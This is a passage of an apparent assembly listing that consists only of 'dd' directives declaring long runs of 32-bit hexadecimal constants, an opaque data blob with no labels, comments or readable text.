0F68CD7F3h, 961581AAh, 0A9BCA8C7h dd 79FCD0h, 0F767F75h, 7769745Bh, 92124703h, 88B6E072h dd 744D4053h, 73C330CEh, 90BA7620h, 75933A00h, 3C40CCABh dd 327F866h, 28CE9F8Bh, 0AB00987h, 3700678Ah, 80C1F31Fh dd 0A25379h, 0AC7B5CD0h, 0A472366Ch, 75406618h, 542758h dd 0E7463760h, 0F916F447h, 17181F77h, 0BF20A441h, 643A2ECFh dd 7BDC00B6h, 0E8FB1BA9h, 19407660h, 7E91F9h, 0CD1A8E48h dd 13433D07h, 5401B2FCh, 31D4365Dh, 7888276Bh, 5E603FACh dd 0E6E76C37h, 101A4295h, 5526A3F0h, 3B6F0058h, 3C392CADh dd 0D0F94306h, 1EC8C068h, 225DB73h, 27784167h, 0D8F8A480h dd 78C15A43h, 0CF88B03Bh, 0BF86208Eh, 2979E146h, 3500977Dh dd 569FFCCEh, 7464614Bh, 345F0148h, 79B9661Bh, 0FA207036h dd 0B4CA5A01h, 0DEB6DCE1h, 0A45237F4h, 689D52A4h, 14775D3Fh dd 0A4F28FE8h, 0A13DC4h, 1235827Ah, 0A61B1426h, 0BE81A023h dd 0E0528FB9h, 400EBAEh, 727CD00Dh, 0E3A52Ah, 0AF76DC6h dd 986E3EBEh, 0CB197407h, 21708E9Fh, 15F5DBh, 0E124B77Fh dd 18C30F40h, 3EF7C3Ah, 3EA62577h, 6669F8F0h, 783990ECh dd 0E09A00AFh, 1A870575h, 550E5B30h, 436C18DCh, 0A8E6268Dh dd 3BDA5499h, 0B9965FAEh, 1F7A01B5h, 0FF94B05Dh, 68D3A1C8h dd 86353D00h, 64C204E7h, 0FFE30036h, 2B463859h, 0ED00948Ah dd 273F6CEAh, 0EEBBA39h, 912EF6C6h, 74FAAE0h, 4E00BCD6h dd 0DCB5FCA7h, 0B025EF17h, 0AE362404h, 14400B6h, 4352C922h dd 9B126F00h, 0FA8718DDh, 65982624h, 7A230000h, 0E86CA3C6h dd 523C8000h, 7EEB515Ch, 0B2850054h, 0AE35DEFFh, 643AB157h dd 0CEEC835Ah, 0C8668FF7h, 0E145C6h, 4698B8B0h, 7ACCED75h dd 0A6D14107h, 0BEC0B106h, 6ABAAF2h, 568D3302h, 0BF7819E3h dd 0D914A202h, 0E0AF3F93h, 7CCE58h, 6B06C8C2h, 0ED341013h dd 0B00C860Fh, 0A0E1AF2Eh, 0E4F10F9Ch, 33FB0C6Ah, 0DA69A5C1h dd 0EE227500h, 1FAA82CFh, 721040B4h, 186B5D30h, 7F788AD8h dd 300A80ECh, 0DA4B8426h, 5477A1Fh, 15B1D1C3h, 6080FDA8h dd 9ECCDA6Bh, 0F470D51Ch, 0CF00DE77h, 6274F149h, 135B158h dd 30CE4A85h, 0D1AA478Ah, 2000E3B7h, 0E1B14C10h, 42AE27h dd 25718F20h, 0F095C273h, 4DC4DCFDh, 0CAAA6300h, 5868D55Dh dd 495A5C78h, 0CFF63800h, 0C246541Fh, 0EE424800h, 0D5EA0361h dd 6B2100A8h, 7390F9CEh, 0C001E17h, 0FE39C8AFh, 36C1E14Fh dd 8868A25Ah, 0E4F99401h, 0A9537732h, 302AE3DAh, 0B4215208h dd 0D302AF90h, 98EEBC93h, 0C8E07F30h, 0C0668A0h, 0DC944A6Fh dd 0D9DE6778h, 60DB05F8h, 0DCB10F84h, 8E28423h, 0B0045ABh dd 8EB7B15Bh, 3480A816h, 39C0B89Dh, 430136F3h, 0B4EB6B9Fh dd 2E4ED8C3h, 50539001h, 0A25521ABh, 0C9338880h, 0C62289CAh dd 0BE69C0E9h, 0AF1CCE00h, 0EBB92AD5h, 18CC0C4Fh, 0FDD874B0h dd 62FAD9F8h, 2B159A07h, 0E173C9F6h, 8240001Bh, 850ACCACh dd 267F0130h, 80944039h, 349C4D69h, 7FB2C266h, 1D0F0024h dd 1CAF60F1h, 831F6546h, 400F2F96h, 11CCBEB9h, 0EE91109Fh dd 0F65E0381h, 0A6784D90h, 0CFD09EE0h, 93008E7Ch, 14B711DAh dd 0DF847Ch, 659DAAF8h, 9F59C82Dh, 0D9245E1Eh, 0DAD79703h dd 6156C096h, 0A2C61DFCh, 0A39B434Dh, 0AFA36385h, 0B4392116h dd 36B93300h, 36FABF08h, 20809A0Ch, 0FE91803h, 0F5D557h dd 0E347BE10h, 0E629FA38h, 0DB199A18h, 3E9BD08h, 0EFC096D9h dd 75B8CE03h, 0DD90A1A8h, 0A0F01112h, 764907FFh, 73C7D7C2h dd 0B8099C03h, 809FF571h, 89CC1C1Ah, 0F8CF7AE2h, 46E3150Eh dd 0A40E6499h, 0C09A49FAh, 54EB6424h, 2A020000h, 6C661A5Bh dd 848200FFh, 19D02F67h, 0B1009E09h, 878C96DFh, 0C56CD4h dd 0D66BA298h, 8A2D3EF3h, 8FBD3Dh, 16430D03h, 0EEC7E2A4h dd 6E2F0740h, 0A3A87FA5h, 79B0FA5Ch, 5037AEEh, 0E0EA9DC7h dd 0F0E983D4h, 0B2AA4h, 156839C3h, 63DAD6ACh, 0F5CEBA00h dd 7C044278h, 65E00008h, 5E8290E1h, 0B4F650E4h, 0FECB9400h dd 0D3097BE3h, 0F3E00EF5h, 414974FBh, 0D3164DE1h, 0BC552880h dd 48153F00h, 864984B4h, 0A42900B6h, 0ED2E726Bh, 2F008AE3h dd 4A3DF9C2h, 1AA78E0h, 96DE5CBh, 0DC26B406h, 770025D9h dd 7E47BF6Fh, 12E7981h, 17053C4Fh, 20CD5BB8h, 52006E82h dd 3B3F82FBh, 0E2D2EBAh, 0D3051D40h, 0E9B8E740h, 423BE1D5h dd 11FC80E5h, 20146D19h, 487C316Eh, 0F0DD9718h, 6C00E8FDh dd 2C623E03h, 0DEC13Bh, 31165FE7h, 2E6F83D2h, 6896AC00h dd 63AE4597h, 0A6D1C5Dh, 88CE86E9h, 5100D866h, 428C11A4h dd 61E7A0h, 49C08075h, 605FA952h, 0BEF824EEh, 80AB063Dh dd 0B2D03203h, 3C3BC758h, 1C807CB3h, 0C13D1BE7h, 9C01B67Dh dd 0C7132847h, 5CE0E530h, 8CC01874h, 0C85E2804h, 38558h dd 0E0A550D3h, 0D6F7EAh, 0F45816FBh, 32CBE417h, 808A212Eh dd 3802830Ch, 0BB4D15BCh, 3817484Fh, 622302C2h, 4882B667h dd 69014A30h, 75FCABF0h, 0BB716Fh, 778C5C80h, 0F01F368h dd 0C85E13Fh, 507FD5CDh, 0C7B2035Eh, 1D1350DFh, 0AB201001h dd 0A8F5B9F4h, 3AD762E8h, 0C230115Bh, 0F6715921h, 834A3900h dd 0EFDF0725h, 40E6E679h dd 9C18FD23h, 9EB09BBBh, 967C0083h, 81C515Fh, 0FA06864Fh dd 0C17F0A01h, 97BF0051h, 0DB8EF9B4h, 0E00E484h, 0B52855C9h dd 53129Ch, 602102CAh, 2FE8AC46h, 80A3C038h, 4973E508h dd 0BED3B68h, 0C7B1D5BCh, 0AAF75A85h, 0E3887DC0h, 5E980078h dd 0B043705h, 0BD1F2535h, 0BA3E7Ch, 0E7ADF999h, 0EC61BA0Ah dd 73BB0002h, 2DB807E6h, 1A584682h, 2B6F00B8h, 923B2293h dd 5A1600DCh, 83C26770h, 0D3001A0Dh, 3426CFA8h, 6B028Fh dd 2193A5A0h, 5E2B4A43h, 0D1BC4100h, 6F62C2B3h, 30017BFFh dd 82861E90h, 61011C68h, 58CB4C95h, 0CF6F6Ah, 0E6540210h dd 550D764Eh, 8C32C600h, 169519Ah, 9F920047h, 2FF34D8h dd 39000E4Dh, 0B11ECBCAh, 0A0CED0h, 986B8F8Bh, 4CC5EF0h dd 0DA46D600h, 5BBE50A7h, 1F13A25h, 0C278F484h, 8D00FB89h dd 0ED3563A2h, 0F8BFFC8Eh, 190C00DEh, 14E093D4h, 64001C58h dd 885BE954h, 8C33EBh, 8763228Eh, 62ABBAC7h, 50B21F00h dd 32DD454h, 0E31A004Dh, 0EBA447ADh, 15049B69h, 0E2A20296h dd 8FE0ADC7h, 0C11B8E25h, 0C85C0FF0h, 0BBA08D63h, 80F04036h dd 0AAAF3193h, 0DD137C60h, 0D9598402h, 8F083BD2h, 889B9E60h dd 0CA251092h, 0F1A8820Dh, 1A80FB8h, 22B34F42h, 0A110892Fh dd 133F40EAh, 1A04422h, 91B317AEh, 8597625h, 80BBF8FCh dd 494585CEh, 9B102DF5h, 0C9880328h, 0A788405Ah, 22955B22h dd 122113D2h, 6673284Ch, 98EA58BDh, 656359C0h, 607CA9A3h dd 5B0EB197h, 6060F623h, 76BB7F50h, 0ED920016h, 0DD1DDF6Ch dd 4498C885h, 0B4F43A00h, 0C983EB51h, 791F6033h, 8A0D7E15h dd 0C08B4930h, 98F05B95h, 0F5331872h, 0EE52C836h, 0A20D2F0Eh dd 76B0A05Ch, 1D9E3796h, 99D22Ch, 63783B16h, 0A0C02AEBh dd 0B36D4730h, 45920035h, 560E0FCCh, 7330DBE7h, 25D2D88Bh dd 46DD00B0h, 0B42AC842h, 17F8BC99h, 3A7C3Ch, 0BD0EC45Ch dd 50B6F419h, 351F4D1h, 935883EFh, 68053653h, 9C32E216h dd 0E057F803h, 0C396C11Ah, 93E02C21h, 0B98B0EC7h, 2CCA65ABh dd 9AFD00C4h, 3B771F12h, 0C413A2FCh, 0F0020D58h, 40327DFAh dd 7AF5E94h, 0F741F847h, 870B4503h, 0C1DF2737h, 0D449FCEFh dd 0BD5038DDh, 0E03D89C7h, 67DA9D0Eh, 0BCCEB307h, 5EAECCh dd 8C8CD9Bh, 0C85641Dh, 0BD2B0E04h, 3BBD89Eh, 241AA04Fh dd 204F4699h, 8E044BA8h, 0DE8DAE60h, 960EA091h, 3EDB53F0h dd 9000C546h, 695222ECh, 2B1EA99Ch, 57D09244h, 7ED0200h dd 7874BF56h, 0D81EF607h, 0EE44F5E8h, 0CE5F1090h, 5862E54h dd 38E10098h, 0FD468F1Ah, 7EEC5C00h, 0C4EB3EF6h, 4D62E2B2h dd 5C75446Ah, 241C1A64h, 9ED6C351h, 90A45F7Fh, 80C195A4h dd 0F0FDFF00h, 0AA3D2E67h, 1433FBFAh, 43EFB600h, 1FC86BA0h dd 400F848h, 40B15429h, 4020CC3h, 642A4949h, 800487C6h dd 884A9DDAh, 0A57E91C2h, 0FFD81368h, 0F12124DEh, 5E2805Fh dd 0EFAD955Eh, 0D779FF0Eh, 2E1923D9h, 81C888C1h, 0B8C21304h dd 0E31F3Dh, 43C0B3D2h, 3090D36Ch, 0B0163300h, 6E3E6726h dd 7B0F1F40h, 5C1A004Eh, 19A23B9Ah, 0F49C1207h, 5660F5DAh dd 0B70A2EC4h, 501C250h, 0A6A23458h, 0CEF88C67h, 447703C5h dd 0F68A7F3Bh, 0E6C7EAC0h, 55AE1F00h, 0DFF7B65Dh, 6D400053h dd 0CB4A3EA1h, 8700F109h, 12542608h, 6EF3DA8h, 0E3EE2CCCh dd 9172F6A5h, 75B01B07h, 3BF003B4h, 0ADB1F3h, 0C7CFCCDh dd 6B4595B7h, 0BA863300h, 659448FBh, 61CE3D6Dh, 0F6443F80h dd 3149712Eh, 40C93801h, 0CDA91B15h, 2063D8h, 52A1B45Eh dd 1A79B137h, 0A0D13E0Eh, 0E09E6F80h, 0FEFA01A9h, 0D61C000Ch dd 4770E98Dh, 550032AEh, 521965E1h, 3C59FFA7h, 7A862Dh dd 0B651BB46h, 0D10996CCh, 38FDAB00h, 8EC895B1h, 0FE0F008Bh dd 47D9FC15h, 39E6F70Ch, 946F3402h, 80A3FD63h, 46D457C7h dd 6E4B00A4h, 6F8D98BDh, 0D201C109h, 10C663F7h, 0ADFC9E9Dh dd 0B661005Eh, 0C7BF3572h, 7FB86241h, 1F63C13Ch, 429747Eh dd 0AF9218D6h, 0EA71064h, 5BE1C000h, 2714BA71h, 0D9F301FFh dd 0B6EA2CE6h, 0C096D4D8h, 0B85FAF18h, 88434E29h, 424018B7h dd 0B9E5449Ch, 4492B144h, 0C1440AE8h, 0EEF44F0h, 4214D320h dd 201C0886h, 42940441h, 0DB990297h, 0E76A0213h, 280DB023h dd 2250A851h, 0FE227F0Bh, 192622E9h, 512BEC31h, 29B67739h dd 1731291Ah, 18C0794Ah, 9402FC11h, 183C76A1h, 6429383Fh dd 86B88840h, 0C05AE040h, 57CFE1C9h, 0B27DD18Ch, 0C56CAE00h dd 5AE5A5BFh, 1871013Fh, 0DECE74FEh, 0B617D825h, 0ABFB3C00h dd 7F36050Bh, 0E71300B2h, 5967F2CAh, 0CF00BFE1h, 9152A95h dd 26EFA0B7h, 120FD17h, 0E9AB9DC4h, 792CCC1Fh, 0DE119C00h dd 0E64CED6Ch, 0F6D53F09h, 8CCBCE80h, 0FA1E18C9h, 0BD677E2Eh dd 351A3907h, 298B13A0h, 63F14C33h, 28CE9B00h, 0DAC2CBF3h dd 0C8E1211Eh, 0C1FCB480h, 296064h, 0B59C259Ah, 56BFC742h dd 7C004079h, 37DD2E94h, 219495Fh, 10042067h, 70405B4Fh dd 840094BEh, 0D905DC70h, 18230CB7h, 48676968h, 0FD000611h dd 204F287Ch, 0C06FE609h, 0FFEE3450h, 831F4876h, 6C80F55Ah dd 0C9F21644h, 0F98900A7h, 3735DADBh, 0D10E0D08h, 7D853C13h dd 12CDE780h, 545DCBh, 93AD3EDFh, 0AB6BA22Eh, 4D3BA0Eh dd 7252431Fh, 16A00027h, 3CD5A6C3h, 0F600AD58h, 0AFCC9C48h dd 1BFE8h, 6B5D4317h, 1066DABCh, 4998DC00h, 0C550E2EFh dd 9C220B92h, 7A80AB9Eh, 9B973A3Fh, 0CFE8115Bh, 0C058FA1Dh dd 48C53E7Eh, 0EE3BB2ECh, 0B0A780F4h, 557D4A98h, 16C400B4h dd 383D51D3h, 930028F1h, 9BA1FBA7h, 0D9D027h, 6630EB6h dd 8D16CD2Bh, 97DB7C00h, 0B854506Bh, 0B88CF478h, 6759001Bh dd 0F8581A6Fh, 7703EBCDh, 0E0B1F974h, 0E091820Dh, 0E66550D9h dd 209F6AAh, 6AC75B30h, 0C60BB68h, 0DA0049A4h, 18CAC9F0h dd 3A81784Fh, 94806625h, 8B7F84A9h, 0C807CBFEh, 73D59BE7h dd 2A7BA90h, 74FDFAF2h, 0EFCD0059h, 922CBDCFh, 0E900D188h dd 3CC5B485h, 31AF97Dh, 8EB561EEh, 5A90A941h, 0DC48890Bh dd 0E8340E98h, 7AC8E025h, 1383C477h, 7210B4h, 373E62E3h dd 8BE03AF1h, 0D0ECC01h, 72FD710Bh, 13A899E0h, 367E33h dd 0B010AD70h, 53001C35h, 5C955AE4h, 0D5C5BDh, 0F27DB3F3h dd 6A6681C4h, 0DFAD3D00h, 64F77962h, 403005Dh, 997D8BB1h dd 773F129Fh, 601780EDh, 243907B5h, 0EC0F00C2h, 0E381115Eh dd 2603ABAAh, 8AA18C56h, 0E40188CEh, 79E801BCh, 4207D565h dd 858C408Eh, 0B518A6DAh, 0F641833Bh, 0CE7CA0h, 511D3CEDh dd 4F0FAE40h, 456D3603h, 0D0623898h, 2D413h, 5E66AC08h dd 8A7022F8h, 80269D3Fh, 800E3141h, 0D7EE51h, 859795BEh dd 0DE5E8AFCh, 88D40D00h, 74B9393Ch, 0D34E0011h, 5127065h dd 487C71C8h, 6C5A7900h, 0B241A12Dh, 86DF00CAh, 0A45BAEF5h dd 7C909C6Dh, 4FC8B607h, 22EFCB93h, 4096280Eh, 3826368h dd 5FDDBABEh, 0ACF8847Dh, 0DF00FDE1h, 994B6DB7h, 1CA46208h dd 0FEDA7Ch, 879E8E6Fh, 0FF0784F6h, 711533DDh, 0E0F008B3h dd 0BEF364Dh, 0FE312D8Ah, 0C2C7E0F5h, 3256138Bh, 0C3740016h dd 0F526ED8Ch, 0D62C7E00h, 0EECEDE23h, 0A1CA0041h, 0F962C533h dd 0A700CB03h, 0A69ECC6Ah, 0AA731Eh, 4723074Ah, 15ACE245h dd 0E7BF0101h, 3BA10C9Fh dd 1AA7E8h, 5C5FCEE4h, 5A819A60h, 0B8963900h, 56CA32F4h dd 0A1530F1Eh, 2CAFA4B3h, 57970E80h, 0D20091D5h, 0AE1BA02Dh dd 361F8h, 19C468C7h, 23586E47h, 2AC24800h, 7330A5C3h dd 7B27666h, 0CBD83A5Ch, 0F05D701Ah, 52003493h, 74F1976Ch dd 0A5234Eh, 4539696Ah, 7EC3639Dh, 0CB2C8300h, 0A12842C5h dd 0DE1E3A11h, 0DDE6BF07h, 558F0A5h, 0B8006953h, 0B62886A6h dd 99578Ch, 80D22B7h, 81E409D4h, 0C6116315h, 2B7500B8h dd 0CF49A882h, 59550F5Fh, 0CFBFAED5h, 60E0D142h, 481DA64Fh dd 6908BF05h, 0C1C707C4h, 4ADCAF90h, 8044B316h, 0FBD70820h dd 9785FD2h, 0C219AF00h, 0A086E727h, 66E1038Ch, 0B48197F5h dd 88AB7F0h, 44325400h, 5DF4FECDh, 2597128h, 0C7D8BCD0h dd 8663632Dh, 40C50890h, 65124A7Dh, 4C020F34h, 6BE97787h dd 4D20D018h, 1BB50006h, 278B2D58h, 24009A91h, 0EBD6350h dd 1EF04CBh, 3A2F4F9Dh, 0F4EE7608h, 0F7005817h, 6158A7Eh dd 19CB169h, 3CCDC3B8h, 3018A6F8h, 9A00878Ch, 9179E3A2h dd 0CBE92Eh, 4AE429F6h, 0BA0E4C1Dh, 2374BC00h, 202F5EBBh dd 1B8D1667h, 6EC80078h, 7E8E89CDh, 0BE769501h, 6B06EE65h dd 63E8B880h, 3ECE60EDh, 967F271Dh, 0DB8A5240h, 870FC3h dd 0F789AE76h, 12375D2Ch, 67CD3Ah, 0F3C1933Bh, 1CCAC4Fh dd 0BC74D6B4h, 0FC29E9C8h, 0A3001709h, 3FCF36E8h, 366D84DCh dd 0F4980D41h, 0F99CCC00h, 0D2EC3126h, 0B01D386Fh, 3EBB900h dd 0C941F683h, 93BF0400h, 61362A23h, 1EF8EAFEh, 0F13181h dd 0D377DC4Eh, 0E0007AD6h, 8D577C37h, 7472B983h, 13760035h dd 5DB3F50h, 670F2C98h, 0C2775646h, 0C061B67Bh, 8E8AE1h dd 0F0368663h, 0E6DE389Ch, 0E30018B8h, 0FAC150E8h, 60DCCBh dd 0AE66C448h, 9E2B0EC7h, 0A82DB73Bh, 0A9F2AC7Bh, 5E1F8E00h dd 8B31C164h, 78131374h, 0A2880F0Ah, 5080DC47h, 7CB0BDD9h dd 3B6348h, 0D6C5EF6Ah, 0CAFEF4h, 0F9D75B1h, 1AEDF10Ah dd 18D3B000h, 6335223Eh, 0A7040046h, 1408ABACh, 0DB03D57Ah dd 3F9BB043h, 7BF1007Dh, 207875EEh, 9D006DBCh, 189E5064h dd 1C7DDEBh, 22C4BA65h, 0F87B9683h, 0CBF68166h, 0DC492609h dd 6CC88014h, 0F35AEh, 7F6ABE74h, 0EC86B99h, 80173698h dd 4C40B08Bh, 0FBE3BF50h, 5AD7219h, 0FEBD908Ch, 396C070h dd 0AE0C31D6h, 98A90AF4h, 0FB55011Bh, 0E2C165EEh, 0BF5BCC4Ah dd 579FDA00h, 5AA208E0h, 1DFFB093h, 0C006EAC9h, 0B93A3B69h dd 0A07B6A51h, 3C0B420Eh, 681D5734h, 0C84E68C0h, 0C3118Bh dd 7519FA23h, 8F264BA4h, 0A5C9D501h, 5159279Fh, 690BB440h dd 8AAF0095h, 73E26A65h, 7700F7F8h, 0CBD1948Ch, 1BF0F1Bh dd 0E8F9B867h, 0D04389A8h, 1C0124D7h, 0F1118D64h, 0A7C4DBBEh dd 416B0060h, 1536D547h, 900072B5h, 78199591h, 0E2A03Ch dd 0A285D0BEh, 56D50577h, 7A9A6F00h, 0A8EC37E8h, 0F092F9h dd 0EE1F257Fh, 488CF0B6h, 6F292300h, 7B7D52E8h, 0E9B8C009h dd 68F1C62Fh, 4150A900h, 930B760Eh, 80350B1Ch, 3100155Ch dd 44CCA3A4h, 87073E3Dh, 9FD16A6Bh, 24C10069h, 1C68780Eh dd 2B73CAh, 9E5ECF3Fh, 9100DEEDh, 0E92CC58Ah, 802399h dd 19B62705h, 68C29496h, 0ED4D3D00h, 0AD1A6CBEh, 0DCE01DA4h dd 8E25C035h, 7C76C36Eh, 67ED9B09h, 0E06820D8h, 2C74FAFEh dd 31DA3Dh, 3D37A04h, 0CC00BB2Dh, 944B84C9h, 0A7F9B9h dd 0E21190D7h, 12BCB0A3h, 16BAD38h, 3860E915h, 2872B4h dd 9E3C10EBh, 38D8ECDFh, 0D4B77880h, 0BBFCF325h, 0CAEA1F00h dd 21720CF2h, 8AAC02F8h, 0FAE4E17Dh, 5D101EE0h, 95C8D38h dd 807E1248h, 899F7000h, 698B140Dh, 79FC3Dh, 99596DBDh dd 1EABF0C4h, 3B657200h, 0DEE16ABCh, 50302C38h, 0BE68918h dd 0C021C485h, 0E48EC344h, 0E7CA6D07h, 0F2E088AFh, 60ECDD57h dd 498C2010h, 9F0004EFh, 0EAA01713h, 421FFFh, 466D1CFDh dd 0A7FC3089h, 1E8BA909h, 0BCE000A1h, 7219ECC4h, 0DD401D91h dd 0C395C1ACh, 0E07493A0h, 0D00BDEEh, 202E71DFh, 3D8DFBE5h dd 0BEBE1942h, 8A895D00h, 1FC260E6h, 44CA8E1Dh, 80B7208Bh dd 19F8208h, 3E413C52h, 3DFC3A80h, 89D29311h, 8883FA1Ch dd 417BA30Eh, 0D0B9AC4Eh, 75BFC0h, 9C4284BBh, 2A58B449h dd 78077C00h, 16F6DC5Ch, 0C2AF0059h, 9E906C86h, 0B50396ABh dd 0D55F13A5h, 0E2C8F818h, 0EDB63DC5h, 72A81D82h, 8A804D25h dd 8D14EE9h, 64934C24h, 0B9605880h, 0FEA6EF3h, 9D2DC631h dd 8D98EDA0h, 0A63C9F7Eh, 0A9E780E8h, 7368771Bh, 0AFF7DC5h dd 0C104BF42h, 40EB0BCFh, 0EDC31300h, 150028FBh, 0A39D7A47h dd 2D067Eh, 8A308D0Ah, 16EA9927h, 301BE39h, 3E548890h dd 0D0C39025h, 0EC0C1CACh, 0D55B00F1h, 0FACB0543h, 73DC4500h dd 1133DB35h, 0C7CA009Bh, 56AD8674h, 0F3003924h, 17E36A3Ch dd 3B4126h, 9D981B1Ch, 0D8E1E7A7h, 33CFCF2h, 0A00C259Ch dd 0B923DD60h, 7BCC006Ch, 94D9530Eh, 0D501A6C4h, 0F80A2634h dd 0A8DF54EDh, 91063Ah, 74D8CD47h, 6E39B14Ah, 0B9903809h dd 0E6800FFh, 1F51EC58h, 0C05FD0F1h, 9759418Ch, 781DB606h dd 7209624Dh, 5CC46Eh, 92560B50h, 0B408C4AFh, 3B75AE00h dd 0E353CC89h, 6C520039h, 0B92C5C6h, 0D6004808h, 366F5D9h dd 75E275Bh, 0F988FBFFh, 0A21D407Dh, 0BF076EAAh, 358A4EEDh dd 337EAB50h, 9075181Fh, 0D3490E79h, 5F1B5B00h, 0C245257Bh dd 0CA800096h, 5A6FA121h, 613FF358h, 6967000Bh, 24350D46h dd 0BF3E00EBh, 0F8499E0Eh, 0BD021B33h, 7C5A89Bh, 77ECE059h dd 561000D2h, 0FCEA5C65h, 5E1DE3E2h, 97683CBBh, 81307D00h dd 8DF45036h, 153900ABh, 7F78B8D1h, 0E9009ED2h, 76AFDD68h dd 3474EF6h, 0C6106D71h, 0D5B03AACh, 30002C08h, 0CAC0CEDDh dd 2F53141h, 8509976Fh, 0B4486B20h, 0A900D286h, 0B030D7C7h dd 0EEA42E0h, 0AB84BAAAh, 9653E00h, 9802D135h, 0ED2A36FEh dd 864BC17Eh, 978AE4h, 0D8EB5929h, 6728CFF7h, 0E138DE7Dh dd 4E138A08h, 1D01A2B6h, 81BDCD40h, 43B19942h, 0ECC90FCh dd 10CE070Ch, 10749662h, 81F1E442h, 4683050Fh, 66596153h dd 7DC94132h, 482720h, 393DBC93h, 33D89C69h, 5EAF038h dd 70B76D0Bh, 2488E880h, 2F581CD3h, 0A1CA407Fh, 84E9FDB4h dd 605BA900h, 63CE2630h, 7E46014Bh, 6B787617h, 1143657h dd 56C1F973h, 25CDB664h, 2B00D839h, 0ECB480A1h, 9028298Ch dd 0F22CFC39h, 1007186h, 1584535Fh, 0E2E7794h, 68B1591Ch dd 744C56E0h, 0F848AD9Ch, 16E6003Bh, 5BCECD4h, 722000B4h dd 1BDE31FBh, 0F124A4BAh, 0F31E7C5Ch, 4829892h, 8561E0D7h dd 0EDF20044h, 0B3973A94h, 1F00BE38h, 0CEF19C14h, 3F8C2A22h dd 94BF1AC7h, 7948D4D0h, 8B3200B0h, 0BC5FDC54h, 0C000E8F4h dd 0E0A05734h, 71BBFB5h, 0C44CD59Fh, 3E56A081h, 1400CEC8h dd 0BF3CD40Bh, 0B4C36Fh, 3A738D95h, 0A87CCAAh, 1279A700h dd 2831A969h, 0E2A50006h, 50F63249h, 15004013h, 20D6241Ah dd 38051794h, 34804A33h, 0F007E87Bh, 37003286h, 0FE7F52D0h dd 0F3D7056h, 48BEEF68h, 0C3922A80h, 133B96FDh, 18B68006h dd 74DBCF17h, 0EE9D0350h, 538D0F25h, 690881E5h, 0F50C30F8h dd 376DB300h, 13DA846h, 4F641D73h, 0F38A4E7Eh, 8F7C4A93h dd 4C500188h, 0F4E1152Ah dd 16014B29h, 0FE915FC0h, 63204DBCh, 0BF2002Bh, 28B7F6D6h dd 10599017h, 0BF0900CCh, 0D89112D0h, 0CB180023h, 0AB9DC3CCh dd 20001BDh, 673E0E6Bh, 1D9884h, 0E4FAAAE6h, 383F1876h dd 8927BF03h, 0DA687236h, 0D748E0B7h, 0D36A00F1h, 476D186Eh dd 0BE074E9Ah, 0EBE35433h, 8D7A20A0h, 0DF8601B9h, 0A404A1D6h dd 2080D9F3h, 0C10074A5h, 7C64CE1Eh, 7B0CE381h, 12349848h dd 0D05031F6h, 2445A1C4h, 0F27B4900h, 6AEBB91Bh, 42B51C66h dd 54C9C298h, 6040AA81h, 0C400FA8Eh, 0D7F98FD8h, 759D2Ch dd 0C02350B3h, 32977F0Eh, 2B8E0800h, 0E662BF39h, 19FF017h dd 2AD4BE05h, 2046F4D6h, 0D100297Dh, 18861187h, 41E02Dh dd 0CA16B621h, 0BA49AAF1h, 0A8A7E82Ch, 0E6C8730Ch, 75D30065h dd 0A19515ABh, 120591CDh, 16BC3D6Ah, 93E0F000h, 0C3D5C1h dd 0F197CEDBh, 0CC711167h, 9126F001h, 78FCB16Bh, 0C7B8C840h dd 3050007Dh, 2022A8DCh, 510068FDh, 2FC2E058h, 0EEBB29BAh dd 4063A4Dh, 5BD28A80h, 0E279D47Ah, 0E8974207h, 20608525h dd 0E4ED9Eh, 0ECBF0CC5h, 6BD4B08h, 0A7977D00h, 32721A69h dd 3D2902B7h, 50DAD26Eh, 0F30C20E0h, 9CFE7100h, 0C1341DD5h dd 0EB85005Ch, 3DE9AE8Dh, 7B01B6C2h, 73B3E13Ch, 8871E778h dd 0DAF72A80h, 38812955h, 0C60026E2h, 578789C4h, 73B483B3h dd 0ECEA012Dh, 0E661EE1Bh, 916B6019h, 8D003198h, 729458F4h dd 745F37Ah, 7DF7BD28h, 0E4EAD03Fh, 4A000757h, 3858E3DFh dd 0FC5DA93Ch, 5BE824F2h, 0F56A001Ch, 7C919B51h, 7C58C024h dd 1873D981h, 0B82CAEC4h, 0A1BEFE85h, 5DBEC34h, 8B31DD01h dd 0BC884D93h, 0CA67C0h, 0F2207242h, 0E3D5161Ch, 0F072C1Ch dd 0F103BF5Fh, 98C2A0EFh, 984A29h, 32A42387h, 6321DFD1h dd 0F6183300h, 2799C1DCh, 0B1C500B2h, 4254CEF2h, 0AB005310h dd 0A04D7B55h, 4F8056ACh, 89EC97h, 0A9BC7F69h, 381BED96h dd 303955Ch, 0DBB66B11h, 76FF37E0h, 0B0F70B2Ch, 35D85B00h dd 15DF912h, 52C01044h, 0EC745E02h, 0F21FC8FBh, 0D8406D67h dd 183BE3B5h, 5C3F0050h, 3D091D8Bh, 411EDF69h, 0FDC0F7FBh dd 0F6F5469Ch, 64E80E5Ch, 718F8D54h, 153DF3C0h, 55028B43h dd 21330EC9h, 70EC19h, 6B81E3BFh, 6A987F9Ch, 3C0E0D30h dd 71232E4h, 735ECAE1h, 5A1DF063h, 233C4DACh, 0E88A807Dh dd 0C548D29Dh, 0E1B100D0h, 0EA9EE278h, 9800224Ah, 0ADE8543Dh dd 0C04C14h, 0F83AB046h, 5B40CEDEh, 5CF3100h, 0CB9C8F3Ch dd 0A8140AC3h, 5D012A9h, 40B1706Ah, 64F9DA50h, 0A22C31FCh dd 200158Ah, 5F671CC5h, 32E7216h, 6021C995h, 35B12892h dd 0D054703Dh, 98A7CE00h, 5DC36886h, 0DB0A0956h, 428EC496h dd 0FDD96900h, 5B002E2Dh, 72E4B233h, 0DD2637h, 229C2F45h dd 0BA8C4CCDh, 0CC5C6F28h, 0B8DA272Fh, 11A33B4h, 55A0E4E9h dd 0C8935EBAh, 0F801DA6Eh, 0CD3A1762h, 0F6DCC0C3h, 0EA8139Ch dd 10944192h, 0F5880887h, 0F28430B7h, 0C3EEA700h, 1248CA6Dh dd 2B2509BEh, 0F4A1FD86h, 0F0E7C790h, 10DCC50Dh, 25233300h dd 0FEFACBh, 0C2E23EE9h, 81D1CE87h, 3BA84906h, 0A29284h dd 9016F018h, 0D1EAFB0Bh, 82F3190Ch, 88C015h, 0FAA7EB07h dd 878D0EB7h, 0A6E9E400h, 1A11A17Bh, 619E0428h, 802E12EBh dd 0D30B3883h, 91DDC901h, 0D776A7E4h, 0F6EFD0E7h, 0CF20058h dd 4681F4F8h, 0A50A089h, 3000639Ch, 0BBF3383Bh, 164125h dd 0DA7F62C7h, 0BEFBBF95h, 58EE4Ch, 1EA60477h, 0D9DD47h dd 5DA5CEADh, 0E170E620h, 